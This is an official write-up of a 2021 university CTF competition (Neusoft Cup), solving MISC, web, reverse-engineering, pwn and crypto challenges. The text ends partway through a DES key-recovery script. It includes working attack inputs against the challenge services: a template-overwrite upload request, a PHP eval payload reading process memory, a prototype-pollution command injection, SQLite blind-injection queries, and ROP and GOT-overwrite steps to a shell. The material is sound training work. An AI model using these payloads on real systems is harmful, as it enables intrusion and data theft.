2021年第一届 “东软杯”网络安全CTF竞赛-官方WriteUp(转)
MISC
1 签到
难度 签到
复制给出的flag输入即可
2 range_download
难度 中等
flag{6095B134-5437-4B21-BE52-EDC46A276297}
0x01
分析dns流量,发现dns && ip.addr=1.1.1.1存在dns隧道数据,整理后得到base64:
cGFzc3dvcmQ6IG5zc195eWRzIQ==
解base64得到:
password: nss_yyds!
0x02
分析http流量,发现ip.addr==172.21.249.233存在http分段下载数据,每次按照请求头range要求只下载一个字节。由于是random下载,所以需要按顺序整理,整理后可以得到一个加密的压缩包。
在整理过程中会发现缺失2349位字节,需要尝试对其进行修复。
由于0x01中,我们得到了zip的密码,所以可以对该字节进行爆破,如果密码正确,则修复成功。
0x03
解开压缩包得到二维码,
扫描后得到:
5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d
ciphey分析得到flag:
ciphey "5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d" Possible plaintext: '5133687161454e534e6b394d4d325a7854475233566e6870626a42554e6a5a4a5645466c4e47786 a62324e464d47705557464635546d6c536148565165564659645563774e327073515863324f5846555247314555564134555 570706344686957444d336544684c596c4255556e6333636e687165486c756446413351577470566e4242526b6c4a5457316 c515452754d555661636e4a7859556430566c4d3559557844656a4a35626c68334d6d5a4c51513d3d' (y/N): Possible plaintext: '5133687161454v534v6y394w4w325z7854475233566v6870626z42554v6z5z4z5645466x4v47786 z62324v464w47705557464635546w6x536148565165564659645563774v327073515863324u5846555247314555564134555 570706344686957444w336544684x596x4255556v6333636v687165486x756446413351577470566v4242526y6x4z5457316 x515452754w555661636v4z7859556430566x4w3559557844656z4z35626x68334w6w5z4x51513w3w' (y/N): Possible plaintext: 'w3w31515x4z5w6w43386x62653z4z6564487559553w4x6650346559587z4v636166555w45725451 5x6137545z4x6y6252424v665074775153314644657x684561786v6363336v6555524x695x486445633w4447596864436070 755554314655554137425556485u423368515370723v477365546956465561565841635x6w64553646475550774w464v4232 6z68774v4x6645465z4z5z6v45524z6260786v6653325744587z523w4w493y6v435v4541617863315' (y/N): Possible plaintext: 'd3d31515c4a5d6d43386c62653a4a6564487559553d4c6650346559587a4e636166555d45725451 5c6137545a4c6b6252424e665074775153314644657c684561786e6363336e6555524c695c486445633d4447596864436070 755554314655554137425556485f423368515370723e477365546956465561565841635c6d64553646475550774d464e4232 6a68774e4c6645465a4a5a6e45524a6260786e6653325744587a523d4d493b6e435e4541617863315' (y/N): Possible plaintext: 'flag{6095B134-5437-4B21-BE52-EDC46A276297}' (y/N): y ╭────────────────────────────────────────────────────────────────╮
│ The plaintext is a Capture The Flag (CTF) Flag │
│ Formats used: │
│ hexadecimal │
│ base64 │
│ utf8 │
│ base62 │
│ base58_bitcoin │
│ base32 │
│ utf8Plaintext: "flag{6095B134-5437-4B21-BE52-EDC46A276297}" │ ╰────────────────────────────────────────────────────────────────╯
0x04
题目流量生成脚本:
import os
import time
import requests
import random
for i in "cG Fz c3 dv cm Q6 IG 5z c1 95 eW Rz IQ ==".split(" "):
os.system("nslookup " + i+".nss.neusoft.edu.cn 1.1.1.1")
time.sleep(5)
l = int(requests.head("http://172.21.249.233/flag.7z", stream=True).headers["Content-Length"])
a = set()
while len(a) != l:
b = random.randint(0, l)
r = requests.get("http://172.21.249.233/flag.7z", stream=True, headers={"Range": "bytes=" + str(b) + "-" + str(b)})
if r.status_code == 416:
print(b)
a.add(b)
print(len(a))
3 只是个PNG,别想太多了.png
难度 签到
flag:flag{zhe_ti_mu_ye_tai_bt_le_XD}
本题考察的是对PNG结构以及常见工具的使用。
题目只是在IDAT数据当中存储了多余的zlib数据流,通过binwalk可以直接进行解压缩。
binwalk -Me PNG.png
4 png被打得很惨,现在卷土从来
难度 难
flag:
flag{zheshirenchude}
本题考察的是对PNG结构以及常见出题点的了解程度
打开题目是PNG图片,binwalk无异常
010editor打开发现crc异常,结构暂时没啥问题。
tweakpng打开发现,IHDR,IDAT,IEND数据块的CRC值均不对。
之后用StegSolve查看,发现图片有隐藏的框。框选出了IDAT data,说明IDAT数据应该有特殊之处需要查看。
图片本身的信息就这么多,从PNG结构来一点点看,首先IHDR区块CRC有问题,一般说明是图片高度被修改,通过CRC反计算脚本(或者直接修改高度值盲试)发现图片下面有隐藏图像。stegSolve查看,发现有隐藏图案
三个框分别圈出了png图片的一些数据结构,第二个框显示png图像数据使用zlib方式压缩。框选此处说明需要注意zlib压缩数据。
第三个框是具体压缩块数据结构。此图片内容为libpng官网文档截图,但是实际访问官网,可发现标注的压缩块结构标注并不符合。
数字被故意修改过,所以可知2233这串数字应该为题目的某个key或者hint。
之后所有的IDAT数据块CRC值均不正确。将所有CRC值拷贝下来。hex解码。发现是hint
hintis[IEND_and_11]_jiayou_XD.
根据hint查看IEND,正常IEND数据应为空,仅作为文件结束标志。但是现在却有数据。
提取数据,发现前四位为9C 78,而zlib数据头为78 9C。修改前四位进行解压。发现是base64,之后进行解码。最后得出flag第一段
flag{zheshi
得到第一段之后,hint里面的11,还没有解决。通过查看发现chunk 11,是最后一个IDAT数据块。根据之前还有一个hint 2233,全数据块搜索2233。发现数据块末尾含有2233,仅此一个
根据前一段flag,猜测此处也是zlib压缩,将从2233开头到CRC值之前的32个HEX值复制,修改2233为zlib数据头78 9C
发现解码完数据为一种编码,根据前一段flag来猜测,此处应该是其他base家族类的编码。通过basecrack或者在线base解码,可得知此为base91,解码为renchude}
后一段flag为:renchude}
合并两段,得到最终flag
flag{zheshirenchude}
5 在哪呢
难度 简单
查看PDF
在文字中发现多处颜色越来越淡的提示
想到flag可能被以白色隐藏到文字中,全选文字
发现倒数第二段段尾有一段空白字
复制出来或编辑为其它颜色
得到flag
flag{hey_there_is_no_thing}
6 ecryptedzip
难度:难
本题考察的是对明文攻击的实战应用 在实际环境中不会主动提供明文文件用于明文攻击 需要自己寻找明文文件或部分明文进行攻击
压缩包内含有两个文件LICENSE和README.md
LICENSE为开源证书文件
将常⻅开源协议全下载下来 对比大小
发现Apache 2.0大小极为相近
使用github 内置的LICENSE文件可以成功解密
还有一种简单的方法 开源许可证很多都是空格开头 可以直接使用多个重复空格作为明文
7 easysteg
难度 简单
可以看到一个缺少定位符的二维码,补全后拿到提示:一种常见的隐写
分离图片拿到压缩包
解压后配合观察图片名称格式,使用stegpy拿到flag
flag{Do_U_Kn0w_Ste9py??}
8 压缩包压缩包压缩包
难度 简单
第一层为50996.zip
写脚本解密递归压缩包 300层
解题脚本
mkdir zips
mkdir zips/files
mv 50996.zip ./zips
cd zips
while :
do
file=$(ls -t | tail -1)
pass=$(zipinfo $file | grep - | cut -d ' ' -f12 | cut -d . -f1)
unzip -P $pass $file
echo "unzip -P $pass $file"
mv $file ./files
done
最后一层为23333.zip 6位数字密码为756698
打开sqlite在employees表中找到flag
flag{Unz1p_i5_So_C00l##}
WEB
9 flag
难度 中等
解法一
人肉排序,然后口算base64
解法二
等网站输出足够多,复制下来,然后利用大部分文本编辑器都支持的查找/替换
功能将消息替换成类似如下的格式。
a = list("a" * 20)
...
a[1]="a"
a[20]="b"
a[3]="c"
...
# 最后
import base64
print(base64.b64decode(''.join(a)))
解法三
题目SSE实时推送消息至浏览器,路由为'/flag',可以直接:
import base64
from sseclient import SSEClient
flag = ""
for msg in SSEClient('http://127.0.0.1/flag'):
msg = (str(msg).split(","))
msg[1] = str(msg[1]).replace("叉(小写)", "x").replace("叉(大写)", "X")
if flag == "":
flag = list("?" * int(msg[0][2:-1])
)
if "?" not in "".join(flag):
break
flag[int(msg[1][1:-3])] = msg[1][-1]
print(base64.b64decode("".join(flag)))
等着输出就行了
Tips
题目根据浏览器是否成功加载http://burp/favicon.ico图片来判断选手是否开启了BurpSuite。如果开启则会跳转至/Index,而正确的路由是/lndex。
如果被检测到BurpSuite,会记录在session中,需要清空一下浏览器cookie再试。
10 odd_upload
本题考察的是新生对模板引擎的认识.
难度:中等
通过页面提示.很容易发现题目使用了smarty模板引擎的demo项目
题目提供了一个上传点. 后端使用了严格的后缀黑名单防止上传php或Apache配置文件.
可通过覆盖模板文件.tpl 控制模板内容
POST /? HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------43155698238817916993932117986
Content-Length: 365
Origin: http://
DNT: 1
Connection: close
Referer: http://
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="file"; filename="header.tpl"
Content-Type: application/octet-stream
{phpinfo()}
-----------------------------43155698238817916993932117986
Content-Disposition: form-data; name="path"
templates/
-----------------------------43155698238817916993932117986--
再次访问首页 之前修改的模板被渲染 执行phpinfo函数 拿到环境变量中的flag
11 Easyinject
本题考察的是Ldap注入
难度:简单
首先通过页面注释账号登陆 发现提示 flag是在目录里面的某一个用户的邮箱属性
通过关键词“目录“ “属性”可判断出题目使用了ldap 或在fuzz时页面报错也可以判断出使用了ldap
这时可以使用通配符*猜测邮箱
L*
Ld*
Lda*
这里注意有重叠的字符串需要额外做处理
Ps 在读提交上来的wp时发现很多同学都是先跑出用户在跑邮箱 并且猜测出了原过滤器还构造了复杂的playload. 其实可以直接跑邮箱地址不用构造用户查询. 原本设计的是跑出ldap密码的题目. 比赛前觉得难度可能有点高不适合新生. 在收集的wp中居然有大佬跑出了原先设计的ldap密码. dltql
12 Hideandseek
难度:难
题目提示1: 要怎样才能读到内存里面的flag呢?
题目提示2: linuxの奇妙文件系统
<?php
highlight_file(__FILE__);
//docker
//FROM php:8.1.0
//disable_functions=exec,shell_exec,system,passthru,popen,proc_open,putenv,getenv,pcntl_exec,fputs,fwrite,pcntl_fork,pcntl_waitpid,pcntl_setpriority,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_sigprocmask
//disable_classes = FFI
//chmod -R 0555 html/
//php -S 0.0.0.0:8000
function main(){
$flag=file_get_contents('/flag');//看到这个flag了吗 (°▽°)ノ✿
if($flag==''){
die('看来你失败了');
}
file_put_contents('/flag','');//我把它覆盖了都不给你 ( ̄▽ ̄)
test();
}
function test(){
eval($_REQUEST['eval']);//来试试读flag吧 只有一次机会哦 执行结束flag真的会消失的说 重启容器间隔会很长时间呢 本地试好了再来试试吧 (〜 ̄△ ̄)〜
}
if(isset($_REQUEST["eval"])){
main();
}
?>
本题需要完成读取php进程内存操作
分析代码: 读取flag文件赋给$flag局部变量,目标是读取这个$flag变量的内容
但是走到test函数时不能读到其他函数的局部变量
只能通过读取内存获得flag.
这时可利用linux虚拟文件系统的特性读取内存
读取 /proc/self/maps 获取 进程自身内存布局
使用获取到的布局信息读取自身内存
/proc/self/mem (需要给出正确的偏移量才能成功读取)
?eval=$maps = file_get_contents('/proc/self/maps');$handle=fopen('/proc/self/mem','r');$r=explode(PHP_EOL,$maps);var_dump(explode('-',$r[7])[0]);fseek($handle,hexdec(explode('-',$r[7])[0]));echo fread($handle,10000000);
在dump出的内存寻找flag{字符串 即可获得flag
13 dirtyrce
难度:难
var express = require('express');
var nodeCmd = require('node-cmd');
var bodyParser = require('body-parser');
const app = express();
var router = express.Router();
const port = 80;
app.use(bodyParser.urlencoded({
extended: true
})).use(bodyParser.json());
function isValidIP(ip) {
var reg = /^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$/;
return reg.test(ip);
}
app.post("/ping",
function(req, res, next) {
b = req.body.cmd;
if (req.body.ping === undefined) {
res.send('invalid parm');
return;
}
ping = req.body.ping
if (ping.time !== undefined) {
time = Number(ping.time);
if (time > 10 || time < 1) {
res.send('invalid time');
return;
}
if (Object.keys(ping).length != 1 && ping.ip !== undefined && ping.ip != '') {
if (!isValidIP(ping.ip)) {
res.send('invalid ip addr');
return;
}
}
} else {
res.send('need time parm');
return;
}
ip = ((ping.ip !== undefined && ping.ip != '') ? ping.ip: '114.114.114.114');
nodeCmd.run('ping -c ' + time + ' ' + ip, //WINDOWS USE -n
function(err, data, stderr) {
res.send(data);
return;
});
});
app.get('/',
function(req, res, next) {
res.redirect('index');
});
app.get('/index',
function(req, res, next) {
res.send('<title>ping test</title><form action="/ping" method="POST">Ip:<input type="text" name="ping[ip]"" placeholder="default value 114 dns"><br>Times:<input type="text" name="ping[time]" value="1"><input type="submit" value="Ping !"></form> ');
});
app.listen(port);
/ping 路由内有命令执行操作 但是ip经过严格的正则校验 无法绕过,time也有强制类型转换.
只能想办法绕过这个校验.
通读代码发现当输入参数数量为1且参数为time时不会校验flag内容.
在后续还会使用三元运算符判断ip是否为空.
构造原型污染 污染ping数组的原型 即可完成以上条件 达到命令执行的效果.
ping[__proto__][ip]=|cat /flag&ping[time]=10
14 wschat
一个 nodejs+sqllite写的轻量聊天室
难度:?
本题考察特殊sql注入点的利用
现在使用ws协议的网站越来越多 (出题时我就想到了为什么不出一道题目来学学ws注入)
题目也使用了protobuf这是一种像json的结构化数据,在现在的httprpc中也非常常见.
该题前后端交互使用了socket.io,通信使用protobuf做结构化数据.
前端代码做了轻度混淆,并且具有反调试功能.
阅读前端代码发现,用户输入存在正则校验.
开始解题
去除反调试和正则校验(修改js)
手动测试发现注入点
登陆处存在注入
猜测语句为select xx from xx where xx='username'
注册一个账号adad 使用布尔注入
sqlite的布尔盲注方法
判断表数量
adad' and (select count(*) from sqlite_master where type='table')=5 --
表名
and substr((select name from sqlite_master where type='table' limit 0,1),1,1)='T'
列名
and substr((SELECT sql FROM sqlite_master where name='user_table'),33,1)='I'
记录
and substr((SELECT f16g FROM f16g_1s_1n_th1s_table),1,1)='f'
本题有两种解题方法
第一种方法
编写js脚本在浏览器运行 进行注入.
第二种方法非常复杂 脱离浏览器编写脚本直接与ws后端通信.
可惜在比赛结束前没有队伍解出这道题.但是在结束后or4nge团队提交了这道题目的wp 且使用了第二种方法.完美地完成了该题. 大家有兴趣可以看看or4nge战队大佬的题解
(https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#wschat)
RE
15 signin
直接查看字符串表即可获得flag
16 happyCTF
这道题是用c++写的,其实代码核心很简单就只是单字节异或,所以把密文当成明文输入就能得到flag,只是验证的过程稍微麻烦,是一个递归验证的算法,不过没什么用换成strcmp效果是一样的,只是起到一个迷惑的作用,原始代码很简单,但是开启代码优化以后再用ida反编译看起来就很乱了,这也是起到迷惑作用。加密的核心部分是用lambda匿名函数实现的起到一个加密代码隐藏的作用,防止这个最简单的加密被直接找到,所以下一次试试把密文当成flag输入,说不定有惊喜
17 Remember Crypt 4
如果对ctf常用的加密算法熟悉的话,看到ida的反汇编会很眼熟,这是一道很简单的rc4加密,该算法的特点是它可以自定义密码表,所以可以起到一点迷惑作用,但是没什么用,rc4是对称加密,所以只需把密文当成明文重新加密一边就能得到明文,所以碰到一些加密算法可以试试这个办法,万一是对称加密呢,直接就出flag了
贴一份rc4的代码
void rc4_init(unsigned char*s,unsigned char*key,unsigned long len)//s最开始是传入的长度为256的char型空数组,用来存放初始化后的s
//key是密钥,内容可定义 //最后一个len是密钥的长度
{
int i=0;
int j=0;
unsigned char k[256]={};
unsigned char temp = 0;
for(i=0;i<256;i++)
{
s[i]=i; //0-255赋给s
k[i]=key[i%len]; //将k重新计算
}
for(i=0;i<256;i++)
{
j=(j+s[i]+k[i])%256; //给j赋
temp=s[i];
s[i]=s[j];
s[j]=temp; //s[i]和s[j]交换
}
}
18 EasyRe
题目是基于Linux Signal机制的VM题目,parent进程和child进程间通过signal通信,执行opcode,调试难度比较高。并且signal的注册在main函数之前。
具体解法可以参照or4nge战队以及chamd5团队给出的wp
(https://or4ngesec.github.io/post/dnuictf-writeup-by-or4nge/#easyre)
(https://mp.weixin.qq.com/s/KgxHOFH52EE8z7NnMTSIDA)
PWN
19 NssShop
难度:签到题
真 签到题 不会PWN的同学也可以来试试
一道非常简单的整数溢出题
在计算总价格时会发生溢出
达成0元购(x)
20 justdoit
把软件载入ida看一看反编译,很普通,发现主函数调用了read(),然后又调用了这个read_long(),看一眼内容
没什么奇怪的地方,看看反汇编
发现了奇怪的指令,add rbp,rax,而rax是上面read_long中atoi的输出,所以我们可以控制一下rbp的值
题目很简单,没有pie所以可以用rop,没有canary所以可以用bof,也可以部分劫持got表,也给了libc,我们可以用puts_plt 来泄漏 libc 的地址,通过一些调试之后,发现可以在payload中再次调用main函数来控制4个块的payload
在堆栈里,我们将main地址推送到 0x7fffffffde70 并添加 rbp 到达 0x7fffffffde68 的ip
然后当程序调用 leave,ret 时,rbp 会被设置为 = 0x00000a3131313131。
现在的 rsp 是 0x7ffffffffde78,但是在返回到 main 函数之后,有这两条指令
push rbp
和
mov rbp, rsp
看上面的堆栈图,红色块是前三个read_long()块里面的第二个,这个块我们可以放任意内容(块3需要放main地址,块1放string控制rbp),然后用payload pop_rdi, address, puts, ret去泄露libc,然后返回main函数重用漏洞。
所以现在只需要放入payload pop_rdi、/bin/sh、system 然后控制 rbp 即可获得 shell。
21 reallNeedGoodLuck
这个题就比较有意思了,在IDA可以看到代码很简单,代码内容就是可以让你在任意地址写入4个字节,软件也没有pie所以地址都是固定的,也可以劫持got表。
首先,把exit GOT改成main,这样我们就有了main函数的无限循环。然后我们可以根据需要覆盖任意多次。
题目的一种比较明显的解法是把atoi函数更改为system,然后将字符串“/bin/sh”放入nptr变量中,然后在调用atoi("/bin/sh")时,程序将执行system(" /bin /sh"),然后get shell
所以问题就是如何替换到正确的地址,因为atoi已经调用过,所以got表中有其libc地址,所以通过用system
函数地址的最后三个字节覆盖原始地址的最后三个字节即可,需要一些好运
22 iterator
在处理迭代器时,没有合理的判断迭代器范围,导致了指针越界。合理布局内存可以覆写Vector的结构体,执行任意内存读写,最终劫持Got表。
此处可以参考地运团队dalao的wp:
https://mp.weixin.qq.com/s/C0Vn_5NnGCd8Sn6--otsgA
CRYPTO
23 EzDES
一轮des没有多轮s盒干扰,所以该题难度是对des加密流程和算法的了解,可以通过穷举密钥和差分分析等方法实现,该脚本主要的思想是将明文加密到一半得到s盒置换前的数据,将密文解密到一半得到s盒置换后的数据,异或这两组数据可得可能的des密钥,然后将可能的des密钥存储到数组中,比对3组明密文,即可得出密钥。多轮的des加密差分分析思想也是同理,通过多组明密文得出密钥的可能性,选择最大可能性的密钥。
# -*- coding: UTF-8 -*-
# Plaintext = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 'A', 'B', 'C', 'D', 'E', 'F']
def twoto16(new_p_box_list):
str = []
for i in range(8):
sum = new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0
#print(sum)
str.append(hex(sum))
return str
# 进制转换 十六进制转换二进制以及二进制转换为十六进制数
def hex_to_binary(str):
initialplaintext = []
initialresult = bin(int(str,16))[2:]
initialresult = initialresult.zfill(len(str)*4)
for i in range(len(initialresult)):
initialplaintext.append(initialresult[i])
return initialplaintext
def binary_to_hexadecimal(bin_list):
bin_str = ''.join(bin_list)
hstr = hex(int(bin_str, 2))[2:].upper()
l = len(bin_str) // 4
for i in range(l - len(hstr)):
hstr = "0" + hstr
return hstr
#初始置换IP
_ip = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6
]
def substitution(table):
result_table = [0]*64
for i in range(64) :
result_table[i] = table[_ip[i]]
return result_table
#初始逆置换IP
_fp = [39,7,47,15,55,23,63,31,
38,6,46,14,54,22,62,30,
37,5,45,13,53,21,61,29,
36,4,44,12,52,20,60,28,
35,3,43,11,51,19,59,27,
34,2,42,10,50,18,58,26,
33,1,41,9,49,17,57,25,
32,0,40,8,48,16,56,24
]
_fp2 = [57,49,41,33,25,17,9,1,
59,51,43,35,27,19,11,3,
61,53,45,37,29,21,13,5,
63,55,47,39,31,23,15,7,
56,48,40,32,24,16,8,0,
58,50,42,34,26,18,10,2,
60,52,44,36,28,20,12,4,
62,54,46,38,30,22,14,6,
]
def inverse_substitution(table) :
result_table = [0] *64
for i in range(64) :
result_table[i] = table[_fp[i]]
return result_table
def reverse_substitution(table):
result_table = [0]*64
for i in range(64):
result_table[i] = table[_fp2[i]]
return result_table
#扩展置换
_extend_table = [
31,0,1,2,3,4,
3,4,5,6,7,8,
7,8,9,10,11,12,
11,12,13,14,15,16,
15,16,17,18,19,20,
19,20,21,22,23,24,
23,24,25,26,27,28,
27,28,29,30,31,0
]
def extend_replacement(Right_table) :
extend_list = [0] * 48
for i in range(48):
extend_list[i] = Right_table[_extend_table[i]]
return extend_list
#与子密钥异或
def xor(lits,Key):
result = []
for i in range(len(lits)):
result.append(int(lits[i]) ^ int(Key[i]))
return result
#S盒替换
S1 = [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13]
S2 = [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9]
S3 = [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12]
S4 = [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14]
S5 = [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3]
S6 = [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13]
S7 = [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12]
S8 = [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]
S_list = [S1, S2, S3, S4, S5, S6, S7, S8]
#S盒置换
def s_box_replace(xor_list_key):
result = []
for i in range(8):
row = int(xor_list_key[i * 6] + xor_list_key[i * 6 + 5], 2)
column = int(xor_list_key[i * 6 + 1] + xor_list_key[i * 6 + 2] + xor_list_key[i * 6 + 3] + xor_list_key[i * 6 + 4], 2)
s_result=S_list[i][row*16+column]
num = bin(s_result)[2:].zfill(4)
result.extend(num)
return result
def _s_box_replace(new_p_box_list):
result = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
sp = [0,0,0,0]
sp[0] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),0,16)
sp[1] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),16,32)
sp[2] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),32,48)
sp[3] = S_list[i].index((new_p_box_list[i][0] * 2**3 + new_p_box_list[i][1] * 2**2 + new_p_box_list[i][2] * 2**1 + new_p_box_list[i][3] * 2**0),48,64)
for j in range(4):
row = [0,0,0,0]
clum = [0,0,0,0]
row[j]= int(sp[j]) // 16
clum[j] = int(sp[j]) % 16
_num1 = [0,0]
_num2 = [0,0,0,0]
_num1 = bin(clum[j])[2:].zfill(2)
_num2 = bin(clum[j])[2:].zfill(4)
result[i][j] =[int(_num1[0]),int(_num2[0]),int(_num2[1]),int(_num2[2]),int(_num2[3]),int(_num1[1])]
return result
#p盒置换
p_box = [16, 7, 20, 21, 29, 12, 28, 17,
1, 15, 23, 26, 5, 18, 31, 10,
2, 8, 24, 14, 32, 27, 3, 9,
19, 13, 30, 6, 22, 11, 4, 25]
_p_box = [9,17,23,31,13,28,2,18,
24,16,30,6,26,20,10,1,
8,14,25,3,4,29,11,19,
32,12,22,7,5,27,15,21]
def p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[p_box[i] - 1]
return result
def _p_box_replace(str):
result = [0] * 32
for i in range(32):
result[i] = str[_p_box[i] - 1]
return result
def key_poss(plaintext, miwen, shu):
#print("明文", shu, ":", plaintext)
# #print("密钥:",key_table)
#将明文和密钥16进制字符串转为2进制列表
plaintext_result = hex_to_binary(plaintext)
miwen_result = hex_to_binary(miwen)
#将明文和密钥2进制字符列表转为2进制整型列表
plaintext_result_int = list(map(int,plaintext_result))
miwen_result_int =list(map(int,miwen_result))
#对明文做初始置换
initial_table=substitution(plaintext_result_int)
initial_str=binary_to_hexadecimal(list(map(str,initial_table)))
#print("明文", shu, "的初始置换:",initial_str)
L_list = [initial_table[i] for i in range(32)]
R_list = [initial_table[i] for i in range(32,64)]
#print("明文", shu, "的R边:", R_list)
# L_new_list=R_list
#进行扩展置换
extend_list=extend_replacement(R_list)
# #print (extend_list)
new_extend_list= [[extend_list[i] for i in range(0, 6)],
[extend_list[i] for i in range(6, 12)],
[extend_list[i] for i in range(12, 18)],
[extend_list[i] for i in range(18, 24)],
[extend_list[i] for i in range(24, 30)],
[extend_list[i] for i in range(30, 36)],
[extend_list[i] for i in range(36, 42)],
[extend_list[i] for i in range(42, 48)]]
#print("明文", shu, "的扩展置换:", new_extend_list)
#miwen caozuo
#IP ni zhihuan
_IP_table = reverse_substitution(miwen_result_int)
_IP__str = binary_to_hexadecimal(list(map(str, _IP_table)))
# #print(_IP__str)
#miwen L R
_L_list = [_IP_table[i] for i in range(32)]
_R_list = [_IP_table[i] for i in range(32, 64)]
_r_list_new = xor(_R_list, L_list)
#_P zhihuan
_p_box_list=_p_box_replace(_r_list_new)
new_p_box_list = [[_p_box_list[i] for i in range(0, 4)],
[_p_box_list[i] for i in range(4, 8)],
[_p_box_list[i] for i in range(8, 12)],
[_p_box_list[i] for i in range(12, 16)],
[_p_box_list[i] for i in range(16, 20)],
[_p_box_list[i] for i in range(20, 24)],
[_p_box_list[i] for i in range(24, 28)],
[_p_box_list[i] for i in range(28, 32)],]
# #print(new_p_box_list)
s_in = [[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]],
[[],[],[],[]]]
for i in range(8):
for j in range(4):
sp = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0],
[0, 0, 0, 0]]
